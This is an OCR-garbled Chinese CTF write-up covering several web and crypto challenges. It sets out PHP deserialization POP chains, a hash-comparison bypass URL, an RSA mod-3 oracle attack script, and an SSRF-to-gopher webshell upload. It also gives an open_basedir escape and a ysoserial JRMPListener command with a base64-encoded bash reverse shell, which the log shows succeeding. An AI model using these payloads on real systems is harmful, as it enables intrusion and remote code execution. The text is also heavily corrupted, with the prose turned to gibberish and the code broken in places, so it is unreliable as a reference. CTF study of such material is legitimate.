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user = $user;

$this->pass = $pass;

$this->admin = $admin;

}

public function get_admin(){

return $this->admin;

}

}

class topsolof

protected $name;

public function __construct($name = 'Riven'}{
$this->name = $name;

}

public function TP(){

if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;

$name();

}

}

public function __ destruct(){
$this->TP();

}


https://blog.csdn.net/weixin_36487018
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}

class midsolo{

protected $name;

public function __construct($name){
$this->name = $name;

}

public function __wakeup(}{

if ($this->name !=="Yasuo'{
$this->name = 'Yasuo;

echo "No Yasuo! No Soull\n";
}

}

public function __invoke()
$this->Gank();

}

public function Gank()

if (stristr($this->name, 'Yasuo')X
echo "Are you orphan?\n";

}

elsef

echo "Must Be Yasuo!\n";

}
}
}

class jungle{
protected $name ="";

public function __construct($name = "Lee Sin")
$this->name = $name;

}

public function KS(X

system("cat /flag");



}
public function __toString(){
$this->KS();

return ™;

}
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Bk, R HEASIRBIN:

topsolo -> __ destruct -> TP -> $name() -> midsolo -> __invoke -> Gank -> stristr($this->name, 'Yasuo') ->
jungle -> _ toString -> KS

H i midsoloH 5 wakeupFR i :

public function __wakeup(){

if ($this->name !'== "Yasuo'){

$this->name = '"Yasuo";

echo "No Yasuo! No Soull\n";

}

}

AEBREEZRT, R, XERR221:

$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDRY), write(serialize($player)));
HABMNNERTERR, SULEERFICBENEENNR, HRFENRBIEATIE:
function check($data)

{

if(stristr($data, 'name')!==False){

die("Name Pass\n");

}

else{

return $data;

}

}
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kit rbypass, X TXRikER, CELRZAMERLINERT, ATUSH:
https://www.cnblogs.com/\Wanghaoran-s1mple/p/13160708.html

BEERATAT Ui -

$user = '0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";

$pass='0";s:7:"\0"\Opass";O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:
{S:7:"\0"\0\6e\61\6d\65";0:6:"jungle™:1:{S:7:"\0*\0\6e\6 1\6d\65";s:7:"Lee Sin";}}}};;

il :

http://eci-2zefq4smu487cmezc2u4.cloudecii.ichungiu.com/?
username=0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%:!

‘ i v
bR P HIL

http://eci-2zefq4smu487cmezc2u4.cloudecii.ichungiu.com/play.php

B A] 3R Eflag:

Funhash

query($query);

$row = $result->fetch_assoc();

var_dump($row);

$result->free();

$mysqli->close();

?>
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https://www_.jianshu.com/p/12125291f50d
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http://39.101.177.96/?hash1=0e251288019&hash2[]=2&hash3[]=1&hash4=ffifdyop
dice2cry
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57; public_e=010001
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http://106.14.66.189/abi.php.bak
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$result);

$json_obj = json_encode($dice);
echo $json_obj;

?>

KRIUT DAL B SR

$ POSTT[this_is.able]]
{ERthis_is.ablefki#it, R B HE T LK:
this_is.able -> this_is_able

R FEEEMESRT, XEEERELE T main/php_variables.c, W] LA135]1:

J* ensure that we don't have spaces or dots in the variable name (not binary safe) =/
for (p = var; #p; p++) {
if (#p == "' || #p== ") 4
*p="_":
} else if (#p ==
is_array = 1;
ip = p;
*p = ﬁ;
break;

") A

AT A A R AT S, 4205 AR

this[is.able = xxxx

e THD U S R 2 ) 4
https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack
#Fmod 3M1E ..

import requests

import json



from libnum import n2s

from fractions import Fraction
from Crypto.Util.number import*
url = 'http://106.14.66.189/abi.php'
c=

8861105767667284059576684157982406947020621712994613559621419750634971739076374332729068

4 | T | 3

n=0x8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6easb72¢c2791fa6d0da489f5a7(

< | T | 3

e = 65537

def give_result_of mod3(mm):

payload = str(mm)

data = {

'this[is.able":payload

}

Cookie = {
'PHPSESSID":'vpbteni7ahq83jh1chfs3kvug?7’,
'public_e"'010001",

‘encrypto_flag':'886110576766728405957668415798240694702062171299461355962141975063497173907¢€
public_n=8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572¢c2791fa6d0da489

< | T | 3

}

r = requests.post(url=url,data=data,cookies=Cookie)

#print r.content

return int(json.loads(r.content)['num?)
def hack(c,e,n):

R=n%3

j=1

exp3 =3

length =n

low_bound = Fraction(0,1)

while length>1:

tmp_c = (pow(exp3,e,n)*c) % n

r = give_result_of _mod3(tmp_c)



k = (-r* inverse(R,3)) % 3
low_bound += Fraction(k*n,exp3)
exp3d *=3

length = length//3

j+=1

return int(low_bound)

res = hack(c,e,n)

print(n2s(res))

2 3flag:
flag{92ab3055092aad3e1856481091
half_infiltration

FEH ST R

age;

$boy = $this->sex;

$a = $this->num;
$student->$boy();
if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
{

ob_end_clean();

exit();

}

global $$a;
$result=$GLOBALS['flag";
ob_end_clean();

}

}

if (isset($_GET['X])) {
unserialize($_GET['X])->get _it();
}

A H A7 fEssrf.php, BEXEENY, slLBLIRISlaghiE, MWERE L, RE—AdestructiT A, HPHFEIN
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$student->$boy();
global $$a;
ob_end_clean();

HARWUANRIERT %, HREFAEZEER, RAITLlglobalt &% &, H/5Hob_end_clean, HAIEAR
B
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unserialize($_GET['X])->get _it()

IR BAMAEANRN S HTRA__callrikimkes. 456 LR, XERANEEHWT 75 X Tbypass:
age = $a;

$b->sex = 'read;

$b->num = result’;

$c = new User();

$c->age = $a;

$c->sex = read’

$c->num = 'this’;

$d = serialize(array($b,$c));

echo urlencode($d);

A] F F global $thisHi 4k -

ikob_end_cleanTiEiE X, Mo SREU H -

< ?php

123 33355 1A 35000 LA T ¥ 1 A & 50000 BA b3 AN FEFEARAT P9 I IR 45, 15 4k 823535 A I
$url =$ GET['we_have done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){

die("™);

}

if($url)

{

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_HEADER, 1);

curl_exec($ch);



curl_close($ch);

}

?>

;i BUR

http://39.98.131.124/ssrf.php?we_have _done_ssrf_here could_you_help to continue it=127.0.0.1
BEAT Ui CVRE, burpBd—iE, KILFFEGHR H H40000:

http://39.98.131.124/ssrf.php?we_have _done_ssrf_here could_you help _to continue_it=127.0.0.1:40000

HTTR/1.1 200 OK Date: Sun, 23 Aug 2020 05:17:08 GMT Server: Apache,2.4.18 (Ubuntu) Set-Cookia:
PHPSESSID=anrp2pihg|7gg9lenhe2qigd84; path=, Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-
revalidate Pragma: no-cache Vary: Accept-Encoding Content=Langth: 1121 Content=Type: text/html; charsat=UTF-B

Message Board

Since there is only one administrator, a person can only submit one opinion at a time. Each time a new opinion is submitted, all old comments
will be deleted

BESHEN:

=div class="row" style="text-alignicenter;vertical-align:middle;">

<form method="POST" eclass="form-inline">

<div clags="form-group >
<input class='form-control’ pre-'text‘
<fdive
<div class="panel-body'>
<gextarea class='form-control rows='6'></taxtarea>
<br>

<hc>
<div class="form=-group">

shutton type="submit”™ class='btn btn-default col-md=-? form=-control' wvalue="Submit"=>Submit</button>
<fdive

UG R A EPSE

file_put_contents($file,$content);

[ i) B VR AR 2, SO B A% H 3% 5127.0.0.1:40000/uploads/PHPSESSID/

# FHgopherf& i %5, K BRI B HIfE:

file=1.php&content=

SFBOUHBRE EEAER, FEEMNZZcontentiid i€ 7, FRMHK, KIIIET :
FEREHA D EANE, ABEEIE, BEREET —NRTIN:
file=php:/ffilter/convert.iconv.UCS-4LE.UCS-4*/resource=shell.php&content=hp?< pave@_S$([TEG]"a">?;)
BI AT 5 Ashell:



printireguests.getlurl: fuploads/" «cookie+"/shell.phpta=systen(. ' pwd');").text)

</table>
<address=Apache/2.4.18 (Ubuntu) Server at 127.0.0.1 Port 400808</address=
</body=></html>

HTTP/1.1 200 OK

Date: Sun, 23 Aug 2020 05:21:00 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 49

Content-Type: text/html; charset=UTF-8

fvar/www/html/uploads/rpdcrr78od436hqmalhdc@e3l2

2ikcat flag, 1HR2 K FEopen basedir, X BFH—SEMKLSELT T ER:

rce_exp r'''mkdir('milk7ea");
chdir(*milk7ea’);
ini_set('open_basedir','..");
chdir('.."'):

chdir('..');

chdir("..");

chdir('«.');

chdir{®..');

chdir(®.."');:
ini_set('open_basedir','/');
system('ls');
''!'.oreplace{'\n',"'")

print(requests.get(url+"/uploads/"+cookie+"/shell.php?a="+rce_exp).text)

HTTP/1.1 2088 0K

Date: Sun, 23 Aug 2020 ©5:28:20 GMT
Server: Apache/2.4.18 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 122

Content-Type: text/html; charset=UTF-8

bin

boot

dev
entrypoint.sh

1ib64
media

mnt
nohup.out
opt

BIFIE 2lflag, EEXEITT,
easy_java
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black_list
"java.util.Ha
"com.sun. jnd
"sun. refle t
ja.util.PriorityQuet
/a.util.Hash5s

Jengir
a.util.LinkedHashSet
un.rmi Uni

zation attempt

>

>commons—collections=/
>commons—collections</

>3.2.1</ >

=

& ILA commons-collectionsf& i, B tF] H ysoserial>k A siexp:

java -cp ysoserial-0.0.6-SNAPSHOT -all.jar ysoserial.exploit. JRMPListener 23334 CommonsCollections5 "bash
-c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4L.nh4eC54eHgvMjMzMzMgMD4mMQ==}|{base64,-d}|
{bash,-i}"



* Opening JRMP listener on 23334

Have connection from /39.101.166.142:49396
Reading message...

Is DGC call for [[0:0:0, 1641335043]]
Sending return with payload for obj [0:0:0,
Closing connection

Have connection from /39.101.166.142:49400
Reading message...

Is DGC call for [[0:0:0, 1641335043]]
Sending return with payload for obj [0:0:0,
Closing connection

Have connection from /39.101.166.142:49402
Reading message...

Is DGC call for [[0:0:0, 1641335043]]
Sending return with payload for obj [0:0:0,
Closing connection

ctf2@iZ8vb769r8zjakxybwzbenZ: /home/ctf$ whoami
whoami

ctf2

ctf2@iZ8vb769r8zjakxybwzbenZ: /home/ctf$ cat /flag
cat /flag
flag{056eaalfe7scd222qwe2df36845b8ed170c67e23e3}

BN R 3shell, 3F3kEflag.

it
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